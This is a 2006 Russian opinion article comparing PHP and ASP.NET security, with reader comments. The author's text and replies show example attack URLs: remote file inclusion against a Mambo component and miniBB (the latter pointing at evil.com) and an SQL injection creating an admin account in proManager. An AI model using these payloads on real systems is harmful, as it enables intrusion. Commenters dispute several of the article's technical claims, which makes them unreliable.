Все новости от 8 октября 2006 г.

Сравнение технологий PHP и .NET

Если вы делаете выбор в пользу динамичности, то вы станете перед выбором номер два: кто и как будет писать программную составляющую проекта?

Довольно часто на выбор скриптов для сайта влияет их доступность, популярность и... бесплатность (или ценовая политика производителя). Однако, в основу своего выбора наряду с внешним удобством использования и популярностью необходимо поставить и еще один немаловажный фактор: безопасность.

Впрочем, если ваш сайт представляет собой нечто не имеющее особой привлекательности для хакеров, тогда вам нечего опасаться… кроме того, что в один пасмурный день, зайдя на свое детище, вы увидите на главной странице совершенно не то, что вы там разместили.

Язык PHP стал очень популярным для написания web приложений, создания динамических страниц, управления содержимым сайтов. Причин тому множество, но в первую очередь, это простота самого языка программирования, простота использования скриптов, поддержка интерпретатора PHP популярными web серверами, открытость кода. Впрочем, последнее может быть достаточно условным и применимо в большей степени к самому интерпретатору.

Но глядя на все указанные преимущества и популярность, следует подумать об одном: почему та же статистика говорит, что около 80% (если не больше) всех взломов в сети происходит с использованием недочетов в PHP скриптах, и, в первую очередь, скриптах бесплатных.

Конечно же, бесплатность и открытость подразумевает не только популярность у пользователей, но и у исследователей кода, намерения которых могут быть самыми разнообразными. Так что, за популярность всегда приходится платить: либо за сам продукт - программистам высокого уровня профессионализма (а это не всегда спасает, как мы увидим далее), либо постоянными опасениями того, что ваш сайт может стать очередной жертвой взлома.

Все же, прежде чем говорить о путях решения проблем, давайте остановимся на самих проблемах подробнее.

Ошибки программистов или карма?

По большому счету, все ошибки программистов сводятся к тому, что переменные, которые пользователь может определить (или переопределить), проходят недостаточную фильтрацию. Так, к примеру, если в функцию eval() передается строка данных, один компонент которой определяется пользователем, то, что мешает этому пользователю сформировать передаваемые данные таким образом, что бы в результате выполнился нужный ему код PHP?

.include
Самой «злой» ошибкой программистов PHP несколько лет считается т.н. include bug. Отсутствие достаточной фильтрации переменных, передаваемых в качестве параметра в функции типа include() может привести (при благоприятных условиях) к внедрению произвольного кода в программу. Результат – компрометация системы.

Правда, есть несколько ограничивающих эту уязвимость условий:

• для включения удаленного файла – соответствующая конфигурация интерпретатора,

• иногда – включенные register_globals.

Впрочем, все это довольно часто встречается и поныне на массовых хостингах.

Некоторое время назад мне пришлось встретить сайт, видимо самописный, где навигация по страницам представляла собой нечто вида:

index.php?page=contacts.php

Даже не стоит сомневаться, что на этом сайте сработало удаленное включение файла. Динозавры не вымерли!

Эта уязвимость в той или иной форме является хитом среди уязвимостей и выпускаемых хакерами эксплойтов и сейчас: 50 из 69 эксплойтов для веб-приложений, опубликованных на milw0rm.org в июле 2006 года, использовали именно уязвимость включения файлов.

Свежий пример. Хороший, качественно сделанный портал mambo тем не менее пестрит ошибками программистов на публичных досках сети, публикующих свежие уязвимости. Очередная уязвимость была найдена в файле admin.cropcanvas.php компонента com_cropimage 1.0. В 7-й строке есть незамысловатый код:

require_once $cropimagedir."class.cropinterface.php";

Соответственно, если register_globals включены в файл ini, то хакер может передать переменную cropimagedir в GET или другом запросе, например:

http://[уязвимый_сайт]/[путь_к_порталу]/administrator/ components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[сайт_хакера]

предварительно поместив на [сайте_хакера] файл class.cropinterface.php с нужным ему кодом.

.XSS
Довольно популярная уязвимость, значение которой часто недооценивается – уязвимость «межсайтового скриптинга» (cross site scripting). Популярность ее обусловлена в первую очередь сложностью проведения всех возможных проверок передаваемых данных на предмет внедрения кода, который может быть выполнен в контексте различных броузеров. Суть уязвимости, как вы уже могли догадаться, заключается в том, что пользователь со злым умыслом может передать данные серверу или другому пользователю (напр., специальным образом сформированный URL), которые могут вызвать искажение информации, отображаемой на странице. Обычно это характерно для любых скриптов, где, так или иначе разрешены вставки тегов.

Самый банальный пример, когда данные из URL передаются без очистки «как есть» в html код страницы, что мы можем наблюдать в phpCommunityCalendar 4.0.3. Так, следующий запрос приведет к выполнению java script кода alert(‘XSS’), в результате чего пользователь увидит окошко предупреждения с надписью “XSS”:

Следующий немудреный пример имеет уже чисто практическое значение для хакера. В мае 2006г. были опубликованы данные о том, что если в известном форуме phpBB версии до 2.0.19 разрешены вставки html кодов, то имелась возможность внедрить злонамеренный java script код, который бы воровал cookie пользователей:

Разумеется, что путь http://hackers.com/cookie_stealer.php взят совершенно произвольно и должен указывать на реальный скрипт, который будет коллекционировать данные из cookie попавшиеся на эту приманку пользователей форума. Соответственно, вариаций внедрения кода в данном случае может быть масса.

.SQL injection
Вторая по популярности уязвимость PHP скриптов – внедрение SQL кода. Как несложно догадаться, уязвимость характерна для приложений, использующих базы данных SQL. Суть уязвимости заключается в том, что данные из запроса пользователя поступают непосредственно (или после определенной обработки) в SQL запрос. Соответственно, недостаточная фильтрация может стать причиной манипулирования SQL запросами. Какой запрос может иметь место? Все зависит от ограничивающих условий, накладываемых фильтрацией переменных, и фантазии хакера. Возьмем один из свежих примеров. Уязвимость в приложении proManager v.0.73, которое распространяется с открытым кодом. Пример запроса, который создает нового администратора проекта c именем evilhacker и паролем neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20 (id.username.password.name.email.can_add_user)%20 values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

Таким образом, основным недостатком приложений на PHP с открытым кодом является доступность (т.е. как раз сама открытость) кода для пытливых умов хакеров. И, поверьте, не всегда хакеры выкладывают свои наработки на баг-трек ленты и, уж тем более, не всегда сперва предупреждают о найденных ошибках разработчика. Примером тому могут служить взломы сайтов разработчиков известных скриптов форумов phpBB и Invision Power.

Некоторые размышления

Итак, что же делать? Использовать ли скрипты, написанные на PHP для серьезных проектов? Почему бы и нет? По крайней мере, не все ведь программисты выкладывают код для всеобщего обозрения. Есть некоторые варианты шифрования исходного кода, хотя и они не на 100% обеспечивают от его раскрытия. Но, как бы там ни было, «неоткрытый» код проектов ставит определенные трудности для взломщика, которых может он не встретить перед взломом скриптов общего доступа.

Мы предлагаем обратить внимание на альтернативный вариант для web разработок - технологию .NET. Не говоря о том, что сама платформа является продуктом с закрытым кодом, язык программирования C# включает в себя преимущества языков C++ и Java.

Далее мы предлагаем Вам посмотреть на некоторые преимущества технологии .NET

Компилирование кода
Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет разработку приложений. Веб-сервер сам выполняет компиляцию. Если вы заменили исходники, сервер сам при первом обращении к странице проведет перекомпиляцию, без вашего внимания.

Код выполняется быстрее, занимает меньше ресурсов, и при этом процесс разработки не усложняется. Скорее, наоборот, в случае ошибки вы можете получить полный листинг компилятора, с подробным описанием ошибки.

Библиотеки
При написании кода можно использовать набор компонентов, поставляемых с .NET, а он, надо заметить, не мал. Использование Common Language Runtime библиотеки классов, API которой специфицировано, влечет за собой уменьшение кода, который нужно писать разработчику, ускорение процесса разработки, упрощается установка и перенос приложения. В случае PHP код будет намного длиннее и страница будет весить больше.

ADO+
В ASP.NET коде, как и в любом другом коде под .NET, вы можете использовать ADO+. Здесь можно упомянуть, например, возможность сохранения датасета в XML и загрузки его из XML, что упрощает разработку распределенных приложений на основе ASP.NET, в частности полезно при передаче данных между веб-сервисами ASP.NET.

Поддержка средств разработки
Visual Studio.NET предоставляет возможность WYSWYG создания и редактирования, включает в себя средства, упрощающие создание и портирование приложений. Также упрощает отладку скриптов. Но, несомненно, никто не отнимет у вас возможность написания кода в любимом редакторе, будь то CodeWright, EditPlus или NotePad.

Языковая независимость ASP.NET работает в рамках Common Language Runtime, что позволяет писать ваш код на любом языке, для которого написан компилятор, поддерживающий эту технологию. Уже в preview-версии была поддержка VB и С#, сейчас работает поддержка JScript.

И опять разработчику
Возможности Common Language Runtime включают автоматический подсчет ссылок и сборщик мусора.

Возможности расширения решения
Включена поддержка мультипроцессорных и кластерных решений. Что позволяет при написании приложения, рассчитывать на то, что систему можно будет без труда расширять.

Обработка ошибок
В связи с новыми концепциями (в частности, с компиляцией программных текстов) в ASP.NET добавлены новые возможности по обработке ошибок. На стадии разработки можно получить полную информацию об ошибке и листинг нужного куска кода. Для обработки ошибок, которые могут случиться во время выполнения вашего приложения, вы можете использовать новую директиву ErrorPage.

И самое главное, много ли вы видели информации об уязвимостях, найденных в продуктах, написанных на ASP.NET?

Об авторе:
Виктор Гичун – генеральный директор компании «Атилект»

Обсуждение и комментарии

	arruah 9 Oct 2006 2:46 PM
Еще один свой хлеб отработал.
	VicTor 9 Oct 2006 3:18 PM
2 Редакция: а отчего же такой позорный html-то получился у статьи, что аж примеры выпали? Хотя в исходном тексте страницы всё можно увидеть, конечно... И примеры, и незакрытые теги, и т.д.
	drKonito 9 Oct 2006 3:20 PM
пионерство какое-то прочитав такую статью можно подумать, что SQL injection и XSS это особенность исключительно PHP, а в .NET эти проблемы решены (очевидно за счёт возможности сохранения датасета в XML :))) ) ZDNet.ru вообще статьи рецензентам показывает?
	dr-Wicked 9 Oct 2006 3:34 PM
ф дисятке
	Chkalofff 9 Oct 2006 5:30 PM
2 drKonito: Та стандартная практика, которую предлагает ASP.NET через создание команд и задание параметров не подвержена SQL injection. Так что не совсем правы.
	Бизон 9 Oct 2006 6:06 PM
редкий отстой!
	drKonito 9 Oct 2006 6:35 PM
2Chkalofff: >>Та стандартная практика, которую предлагает ASP.NET >>через создание команд и задание параметров не подвержена >>SQL injection. Так что не совсем правы. В ADO.NET команды с параметрами не единственный способ доступа к данным :). Так что возможностей у ПлохогоПрограммиста не меньше. Думаю он сможет написать уязвимый код на любой технологии. Верно и обратное. Стойкость к SQL injection достижима на любой технологии (в т.ч PHP).
	старый админ 9 Oct 2006 7:16 PM
редакция: Противно читать, откровенная некомпетентность. У вас тут любой школьник может свои "шедевры" публиковать?
	йа забыл падписацца, асёл 9 Oct 2006 7:24 PM
кг/ам. афтар выпей йаду!
	Alexander S. Kharitonov 9 Oct 2006 7:29 PM
В PHP, насколько мне известно, первоначально были сделаны вещи, с одной стороны облегчающие программисту работу, но с другой - и облегчающие возможность совершить ошибку (типа представление ряда параметров HTTP-запроса в виде переменных), но потом (или сразу?) появилась возможность настройками PHP ограничить подобные вещи (например как раз упомянутая особенность запрещается директивой register_globals = Off). Посмотрел сейчас в исходниках PHP конфигурационный файл, по умолчанию там именно так и сделано, и рядом добавлен комментарий о том, что включать эту директиву небезопасно. То есть чтобы оказаться взломанным через эту особенность, нужно приложить некоторые усилия самому. Но обвинять в таких случаях PHP - это всё равно, что утверждать, что если человек оставляет ключ под ковриком, то в случае взлома будет виноват изготовитель замка. Кто так делает - тот сам себе злобный Буратино. То есть фактически разговор идёт о прошлых недочётах PHP, которые не имеют значения для человека, выбирающего его современную версию. Кроме того, кроме PHP в Linux и UNIX широко распространены ряд других языков (Perl, Java), о которых авторы статьи стараются не упоминать. То есть смысл статьи можно кратко изложить так: "Пользуйтесь .NET - в ней отсутствуют проблемы, которые раньше были в PHP, которых правда можно не бояться в современных версиях, и которых нет в Perl и Java, но об этом мы вам не скажем - как иначе мы сможем убедить вас использовать платформу Windows?" :-)
	maximka - alex_shop2006yahoo.com 9 Oct 2006 7:34 PM
Уважаемая редакция! Очень странно наблюдать в этом настолько уважаемом мною издании такой откровенно некомпетентный опус. Еще немного и я бы подумал что это самый банальный проплаченный черный пиар. Но самое главное, что данную статью очень не хочется даже сравнивать с другими (переводными!) статьями из рубрики "Мнение". Сразу становится "за державу обидно". Они нам новости. Мы им банальные разборки между "майкрософтовцами" и остальными. Уважаемая редакция еще раз! Умоляю вас не скатываться до LORa! В русскоязычном интернете и так немного серьезных изданий по it-тематике...
	Григорий 9 Oct 2006 8:03 PM
По-видимому, как азот - отсутствие жизни, так и "Атилект" - отсутствие интеллекта
	. 9 Oct 2006 8:19 PM
> И опять разработчику > Возможности Common Language Runtime включают автоматический > подсчет ссылок и сборщик мусора." Это пять! В PHP естественно нету сборки мусора, как все и подозревали - и .NET в этом плане разительно отличается от PHP Автор молодец, сразу показывает свою компетентность, или на какую аудиторию рассчитан его опус. > И самое главное, много ли вы видели информации об уязвимостях, > найденных в продуктах, написанных на ASP.NET? В СССР тоже было все хорошо - самолеты не падали, поезда рельс не съезжали - как союз развалился - везде стало опасно жить. Кстати, почему не написали - "на правах рекламы", как это делают порядочные масс-медиа?
	qwer 9 Oct 2006 8:54 PM
> И опять разработчику > Возможности Common Language Runtime включают автоматический > подсчет ссылок и сборщик мусора." Автору явно нужно выпить яду. В GC .NET'а используется так называемый «mark, sweep and compacting», но никак не отстойный подсчёт ссылок.
	luckybit 9 Oct 2006 8:56 PM
Бред. Все описаные уязвимости зависято от головы программиста. SQL injection, XSS scripting и аналогичные уязмиости присутствуют во всех языках для веб - PHP, ASP, C#, Java. Всё зависит от программиста.
	chkalofff 9 Oct 2006 9:17 PM
2 .: >> И самое главное, много ли вы видели информации об уязвимостях, >> найденных в продуктах, написанных на ASP.NET? >В СССР тоже было все хорошо - самолеты не падали, поезда рельс >не съезжали - как союз развалился - везде стало опасно жить. Ну тут автор прав. На ASP.NET сайтов построено достаточно много, причем в подавляющем количестве случаев это коммерческие сайты, а не страницы васи пупкина. В тоже время ошибок и уязвимостей в ASP.NET относительно мало.
	Виктор Гичун - mailatilekt.ru 9 Oct 2006 10:16 PM
На мнение ... В PHP, насколько мне известно ... появилась возможность настройками PHP ограничить подобные вещи (например как раз упомянутая особенность запрещается директивой register_globals = Off ... Отвечаю: В конце прошлого года появились новости об уязвимости, которая позволяет переписать данные массива $GLOBALS. Чем это грозит пользователям приложений с открытым кодом? Дело в том, что в PHP есть несколько глобальных массивов, которые хранят данные, передаваемые пользователем: _GET, _POST, _COOKIE, _FILES. Массив $GLOBALS отличается от других тем, что через него можно получить доступ к любым глобальным переменным. Т.о., используя эту уязвимость, хакер мог переписать глобальные переменные (даже инициализированные в самом скрипте) и получить доступ к исполнению нужного кода в системе, например, используя уже описывавшуюся ситуацию с include bug. Перезапись переменных массива $GLOBALS могла быть осуществлена тем или иным способом (через суперглобальные массивы _GET, _POST или через массив загружаемых файлов - _FILES) в зависимости от версии PHP. Ошибка была настолько опасной, что многие известные разработчики приложений с открытым или закрытым кодом стали выпускать сразу же новые версии своих программ, которые перед выполнением важных функций проводили проверку входящих данных на переменные $GLOBALS, дублирующиеся в других глобальных массивах. Неизвестно сколько жертв было среди пользователей и производителей после публикации уязвимости перезаписи $GLOBALS, но вот в январе 2006г. была найдена еще одна интересная особенность в основе PHP интерпретатора – zend engine. Более шести месяцев понадобилось разработчикам PHP, чтоб исправить эту уязвимость, суть которой в двух словах заключается в следующем. PHP повсеместно использует таблицу хешей Zend’а, например для хранения указателей на потоки, передаваемые данные. Более того, массив типов данных и глобальная таблица символов представляют ни что иное как хеш таблицу. Функция unset() использует хеш таблицы для очистки значения доступной переменной. Поиск в таблице производится по индексу, при чем доминирующим является цифровой, а не буквенно-цифровой индекс. Т.о., unset удалит в первую очередь то, что будет соответствовать цифровому индексу. Но что будет, если имя переменной обладает эквивалентом цифрового хеша другой переменной? В таком случае, если unset будет передано имя этой второй переменной, то удалится не она, а переменная с именем, равным цифровому хешу. Не понятно? Тогда возьмем пример. Функция unset() иногда используется разработчиками скриптов для быстрой фиксации некоторых уязвимостей, что и имело место, например, в довольно популярном скрипте форума miniBB. Разработчики сделали заплатку, по их мнению фиксирующую уязвимость «инклуда» через переменную includeHeader, прописав в начале уязвимого кода функцию unset($includeHeader). Все бы было ничего, если бы не найденная уязвимость, касающаяся этой функции. Для того, чтоб заплатка не имела смысла перед мыслью взломщика, достаточно в запросе GET передать переменную с именем, которое соответствует цифровому хешу-индексу переменной includeHeader. В результате, мы можем так же как и раньше использовать функцию include() для внедрения удаленного скрипта с нужным нам кодом: http://site.com/index.php?includeHeader=http://www.evil.com /?&-269001946=1&-834358190=1 В примере указаны индексы для обоих версий PHP (4 и 5). Преимущество asp.net перед php в первую очередь и пожалуй самое главное - не нужно быть хакером, чтобы писать безопасные приложения.
	Виктор Гичун - mailatilekt.ru 9 Oct 2006 10:23 PM
Относительно замечаний по поводу "ключа под ковриком" и в этом же духе, что дескать дебил программист и на asp.net напишет дырявую программу могу сказать, что да, безусловно, но разрабочики программ с закрытым кодом сделали все возможное, чтобы свести к минимуму возможность создания дырявых приложений. С одной стороны можно подумать, что корень всех зол в некомпетентности разработчиков программного кода скриптов. Или, по крайней мере, в их неосведомленности в методах хакерских атак. Конечно, на программистах лежит большая ответственность за фатальные ошибки, но и они не всегда могут предусмотреть один аспект! Ненадолго вернемся к атакам класса SQL инъекций. Одной из функций, которая позволяет произвести фильтрацию и экранирование всех опасных для SQL запроса символов, является функция PHP mysql_real_escape_string (хотя, на самом деле, это скорее функция MySQL связанная с PHP). Но не так давно была обнаружена ошибка в базах данных MySQL, которая позволяла обойти фильтрацию этой функции с использованием мультибайтовой кодировки (например UTF-16). И все приложения, использующие эту (как и некоторые другие функции экранирования вредоносных символов) становились незащищенными перед хитроумными взломщиками, которые обладали исходными кодами приложений (будем ли мы гадать, что случилось бы, если бы у взломщиков этих самых открытых кодов не было?). Заметим однако, что это не первая и, уж тем более, не единственная ошибка разработчиков популярных платформ для хранения баз данных и языков программирования. Но, мы говорим сегодня только о PHP.
	VicTor 9 Oct 2006 11:15 PM
> (будем ли мы гадать, что случилось бы, если бы у взломщиков этих самых открытых кодов не было?). Видите ли, можно быть уверенным, что у разработчиков Slammer не было исходных кодов MS SQL, однако результат оказался убойным (для MS SQL)... Как уже неоднократно было доказано - открытость платформы способствует безопасности...
	VicTor 9 Oct 2006 11:23 PM
2 Редакция: и это что такое? > есть незамысловатый код: ltrequire_once $cropimagedir."class.cropinterface.php"; Хотелось бы поподробнее об "ltrequire_once", пожалуйста...
	Виктор Гичун - mailatilekt.ru 9 Oct 2006 11:25 PM
В теории безопасности есть теорема доказывающая, что невозможно создать абсолюно безопасную систему и Ваш пример тому свидетельство. Просто многолетняя статистика показывает, что взломать систему разработанную на платформе с открытым кодом во много раз проще чем закрытую систему и это логично.
	Виктор Гичун - mailatilekt.ru 9 Oct 2006 11:28 PM
ltrequire_once $cropimagedir."class.cropinterface.php"; - ошибка, правильно вот так require_once $cropimagedir."class.cropinterface.php";
	VicTor 9 Oct 2006 11:48 PM
Как я понимаю, вы тут недавно и вам неизвестен большой спор между Linfan-ом и "великим и ужасным" PTO, что круче PHP или .NET? PTO здесь больше нет... И кроме того, вам (да и мне) лицензия на .NET не позволяет его сравнивать с другими продуктами :(
	Desperado 9 Oct 2006 11:56 PM
Просто многолетняя статистика показывает, что взломать систему разработанную на платформе с открытым кодом во много раз проще чем закрытую систему и это логично. --- ложь, МС живое тому доказательство - ее продукты единственные в своем классе переносчики вирусов. занимая незначительную долю на рынке IIS и MSSQL устраивали крупнейшии вирусные эпидемии из-за дыр в системе безопасности, в то время как опен соурс аналоги имеющие значительно больше инсталяций, таких дыр и последствий никогда не имели. про mysql не понял, у кого дыра была у пхп или mysql ? и чем asp лучше ? тем что вообще кинула разработчика, который должен самостоятельно изобретать такую функцию ? я представляю как она выглядит у среднестатического asp-лабателя :)
	Desperado 10 Oct 2006 12:18 AM
Да на счет кг/ам "Об авторе: Виктор Гичун – генеральный директор компании «Атилект»" - лезу на этот ателект и смотрю их лучшие работы: http://www.atilekt.ru/portfolio/web/best/ будете смеятся пока нашел 1 сайт на .net :) Вимм-Билль-Данн - linux, www.decora-s.ru freebsd, а www.elite-stroy.com о ужас на пых-пых. интересно, что мы должны думать об уровне этой разработки на пых-пых после такого откровения директора :) ?
	dr-Wicked 10 Oct 2006 1:26 AM
Чиво накинулись, демоньі на человека. Понедельник и так день тяжёльій. Статья конечно не жжёт, является байтомарательством, неинтересна. Но… как то первая статья человека должна вьіглядеть! ПС Коментьі кстати отстаиваются не меньше статьи. А то, возомнили… Опять бедного РТО из забвения вьітащили.
	Gnomer - pisemne.nado 10 Oct 2006 1:39 AM
цитата: Просто многолетняя статистика показывает, что взломать систему разработанную на платформе с открытым кодом во много раз проще чем закрытую систему и это логично Всё верно, чтобы при прочих равных хакнуть систему на закрытом коде надо потратить больше ресурсов. Но... при прочих равных. А пропагандировать закрытый исходный код как средство защиты от взлома - чревато. Например, программист Вася подумает "а к чему мне морочиться... код все равно закрыть, никто и не узнает, что я тут выписал..." и ослабит защиту применив недостаточное количество проверок. Открытый код дисциплинирует. А дисциплинированный программист не станет экономить на проверках. И это повышает защищенность системы (при прочих равных). Да и сравнивать PHP и .NET тоже некорректно. Хотя и то и это позволяет делать сайты. Также как и набор инструментов в гараже супротив автосервиса - и то и это позволяют починить/обслужить авто.
	Sem 10 Oct 2006 8:20 AM
Такое ощущение что открытый код это ошибка маркетологов. И теперь они хотят срочно всё исправить проводя пропаганду о том, что с открытым кодом любой ламер может почувствовать себя хакером, а с закрытым кодом только те кто хакеры от рождения. Почему интеллектуальную собственность надо только продавать? Что было бы если Ньютон изложил закон всемирного тяготения в "закрытом коде"? Человечество стремится к знаниям не для того чтобы их потом себе впаривать втридорого. Простите за оффтоп, наверное много читал последнее время, и вот, наболело.
	Читатель на свою говову. 10 Oct 2006 9:10 AM
ШО ЗА ОТЦТОЙ. Вроде дата 8 октября 2006, я такое чувство что 18 век. ASP.NET уже давно бесплатно распространяется. Уже давно нет такого понятия ADO+. Что за деревеньщина? Видимо В. Гичун решил в аспирантуру поступить. Вот и ваяет тупые статьи. Вывод СТАТЬЮ ФТОПКУ
	Виктор Гичун - mailatilekt.ru 10 Oct 2006 10:17 AM
>будете смеятся пока нашел 1 сайт на .net :) Вимм-Билль-Данн - linux, www.decora-s.ru freebsd, а www.elite-stroy.com < Да Вы Desperado совсем не разбираетесь в технологиях. В порфолио Атилект 99% сайтов сделаны на asp.net и все они живут на Windows хостинге, включая www.elite-stroy.com www.wbd.ru и www.decora-s.ru Не хорошо высказывать свое мнение не разбираясь в вопросе
	Desperado 10 Oct 2006 10:20 AM
ага, а неткрафт врет на все сайты :) http://toolbar.netcraft.com/site_report?url=http://www.elit e-stroy.com
	Zzz... 10 Oct 2006 10:26 AM
2Desperado: может, хватит уже со сламмером бегать как с красной тряпкой? Проблеме 3 года, уже давно все решено было (и даже раньше, чем появился вирус). Всё никак не успокоитесь?
	Бизон 10 Oct 2006 10:50 AM
http://www.elite-stroy.com - очень сложный сайт как тут без ASP.NET обойтись
	mx 10 Oct 2006 10:56 AM
zdnet.ru и atilekt - простота нравов необыкновенная. Мне даже неудобно. Как дети малые. Табула раза.
	Desperado 10 Oct 2006 10:58 AM
2Zzz... так а почему у опен соурс аналогов небыло проблем которым 3 года ? ведь открытый код такой небезопасный ? каже так получается ? >А если контент страницы посмотреть, то это типичный asp.net открыл, что именно там типичного я должен был увидеть ?
	Антипов Андрей - antipov.andreylist.ru 10 Oct 2006 11:02 AM
С одной стороны, в статье все верно. Еще первый ASP, а ASP.NET тем более, была продвинутой платформой для создания серьезных проектов, а PHP - средством для лабания хомяков. Собственно, он так и называется, последние 2 буквы в PHP - это "home page", - для тех, кто не в курсе. С другой стороны, именно поэтому статья лукавая, т.к. в ней сравниваются продукты разных классов. Серьезный промышленный продукт и поделка для лабания хомяков, путь и чрезвычайно популярная ввиду своей предельной простоты и доступности. Кстати, своего хомяка я нарисовал именно на PHP, - для проектов такого уровня PHP вполне пригоден. На самом деле, надо было сравнивать .NET с платформой Java. JSP там всякие, сервлеты и иже с ними. Это было бы более адекватно. Так что ждем-с, что нам скажет на эту тему автор.
	dem 10 Oct 2006 11:10 AM
Вообще смешно. постоянная подмена понятий. Ну причем тут открытость и закрытость. что .NET закрыт прямо по самое нехочу? А mono? ах компилирует. Питон вон тоже компилирует, и налету. Что небыло прецендентов когда закрытое становилось открытым? И что все что было на закрытом, а потом открытом вдруг стало плохим? Возьмите тот-же Zope. Он сильно вырос после открытия.
	dem 10 Oct 2006 11:16 AM
Кроме того тут идет сравнение ПЛАТФОРМЫ и ЯЗЫКА. я что-то непойму неужели есть всемирный непреодолимый закон который не дает написать PHP для .NET? Что для PHP нет фреймворков? Неужели в .NET нет других способов получить доступ к БД кроме ADO? Взять тот-же Python (говорю о нем потому что там лучше всего знаю ситуацию) Следуюя духу статьи рассмотрим Python+CGI против .NET и скромно умолчим о существовании Django, TG, Zope, Albatros. IronPython - что вообще поставит все вверхногами т.к. IronPython это как Питон так и .NET. В итоге мы докажем что .NET хуже .NET, а .NET лучше .NET и попутно вспомнив Jython позавем сюда Java и вавилонская башня наша вознесется
	Геннадий - coroziayandex.ru 10 Oct 2006 12:28 PM
В теории безопасности есть теорема доказывающая, что невозможно создать абсолюно безопасную систему и Ваш пример тому свидетельство. Просто многолетняя статистика показывает, что взломать систему разработанную на платформе с открытым кодом во много раз проще чем закрытую систему и это логично. Вроде всё правильно. Месье Виктор. Но Вы Sir. Забываете одну простую истину. Которую Вам скажет любой Web-Дизайнер и Виззажист. Для "привлекательности" своего сайта. И "что бы меньше ломали". Предпочьтительно. Да и лучше всего делать сайт. На PHP и NET. "одновременно"! Не забывая и Macramedia. А? что лучше.PHP или NET. Это решать, в первую очередь "Строителям" и пользователям. Диалектика Sir!
	nuker 10 Oct 2006 12:39 PM
Ну да, все написаное знает каждый себя уважающий программист. А войну между языками разводить не надо, знаете почему не фачат .NET потому что вин-хостинг сломать проще, он дороже и медленнее. Короче говоря, статья не несет в себе никакой смысловой нагрузки. Полемика!
	Vezyk - Vezykyandex.ru 10 Oct 2006 12:46 PM
Автор безобразно молод (имхо) и не опытен... Вообще сами по себе средства разработки НИЧЕГО не значат, только способности людей...
	Александр 10 Oct 2006 12:51 PM
Ну да, только способности. Видел я как эдак году в 197? 2 очень способных (на самом деле) писали бухгалтерию и кадры на ассемблере ИБМ 360. Секса было много. Хотя рядом лежал кобол.
	drKonito 10 Oct 2006 12:52 PM
редакция: Ребят, после таких статей начинаешь задумываться об уровне издания. Вам действительно наплевать на свою репутацию?
	Ashman - sstasencomail.ru 10 Oct 2006 1:11 PM
Уважаемые, автор делает свое дело. Это маркетинг. Задача продать продукт. Вот и все.
	Alexander S. Kharitonov 10 Oct 2006 1:18 PM
2 Виктор Гичун: > В конце прошлого года появились новости об уязвимости, которая позволяет переписать данные массива $GLOBALS. Если я правильно понимаю, речь идёт об этом: http://www.securitylab.ru/vulnerability/241602.php Неприятная вещь, однако как я понял, чтобы она сработала, нужно опять же включить register_golbals. Далее сказано про то, что при определённых условиях этого можно добиться при register_globals равном Off - если данные попадают в функцию parse_str(), которая вызывается только с одним параметром, однако если я правильно понял её назначение, её как раз и не стоит вызывать таким образом с непроверенными данными. Но мы всё-таки излишне увлеклись конкретно PHP, а я в предыдущем письме писал про ряд других языков, которые принято использовать под Linux/UNIX, и к которые являются на порядок безопаснее PHP. Если ты доказываешь преимущества ASP.NET, то почему сравниваешь её с самым небезопасным вариантом? В результате ты максимум можешь доказать, что ASP.NET - это лучше, чем плохо. Или потому, что если сравнивать с Perl и Java, то красивой статьи не получится?
	Сумчатый Котик 10 Oct 2006 1:35 PM
Как бы то нибыло но сели дествительно удалось бы подружится между собой и РНР и .net .... было бы чтото помоему очень интересное... Только вот... секретность нужно помоему снимать ... и ещё раз.. так или иначе работать над ошибками и будет сиять враза которая просто читается по руски лучше PHP.NET.NET =)
	Desperado 10 Oct 2006 2:13 PM
2Виктор Гичун с такими познаниями вы тока народ насмешите, если вы не понянули даже пхп. к стате связка *nix+apache(iAs)+php(морда)+pl/sql(логика) будет на порядок надежней и потребует гораздо меньше кода чем .net и при этом заметно быстрее. на сколько я понимаю в .net нет аналога zend guard который кроме компиляции пхп кода в бинврник умеет шифровать ?
	постоянный читатель 10 Oct 2006 2:33 PM
в общем согласен со всеми - статья страшно нелепая во всём и изначально предназначена только для публикации в собственном блоге автора и действительно стыдно за zdnet, который я до сегодняшнего дня считал довольно неплохим изданием.
	Знающий 10 Oct 2006 2:39 PM
Более однобокой и безграмотной с технической точки зрения статьи еще поискать.
	Alexander S. Kharitonov 10 Oct 2006 2:45 PM
2 Виктор Гичун: > C perl сравнивать смысла нет, регулярные выражения в C# реализованы очень хорошо и поэтому отпадает необходимость использовать perl Интересно. Вот у меня есть скрипты на Perl, я его хорошо знаю, у подавляющего большинства провайдеров он предлагается и т.д. Каким образом из наличия регулярных выражений в C# следует необходимость смены платформы, отказ от хорошо знакомого и удобного языка с богатым набором библиотек? Perl - наверное самый массовый язык программирования для веб. Поспорить с ним в этом может только PHP. С чем нужно было сравнивать в первую очередь, так это с Perl.
	Просто мимо проходил. 10 Oct 2006 4:29 PM
Ну и брееееееед. Содержимое статьи аналогично заявлению "сотовый телефон Samsung SX100 - дерьмо редкостное, делают их узкоглазые и дизайн у них фиговый, зато у моделей фирмы Sony-Erricson есть камера и блюзуб - по этому они рулез форева!" Где сравнение - я не нашел. Особенно меня впечатлило "C perl сравнивать смысла нет, регулярные выражения в C# реализованы очень хорошо и поэтому отпадает необходимость использовать perl". Да, логика железна и неоспорима. 5 баллов. 2 автор Сравнение - это когда беруться 2 и более аналогичных объекта, и рассматриваются особенности, возможности и недостатки, свойственный всем рассматриваемым объектам одновременно. Т.е. если уж взялись описывать SQL injection - будьте добры осветить подробно эту технологию взломк и как она применима к PHP и к .NET (C#) и почему один продукт с вашей точки зрения более защищен против подобных атак...
	Игорь К. 10 Oct 2006 5:22 PM
С точки зрения архитектуры Java безопаснее. На .Net кривыми руками можно наваять более "ужасные" вещи. Статья - БРЕД.
	. 10 Oct 2006 8:04 PM
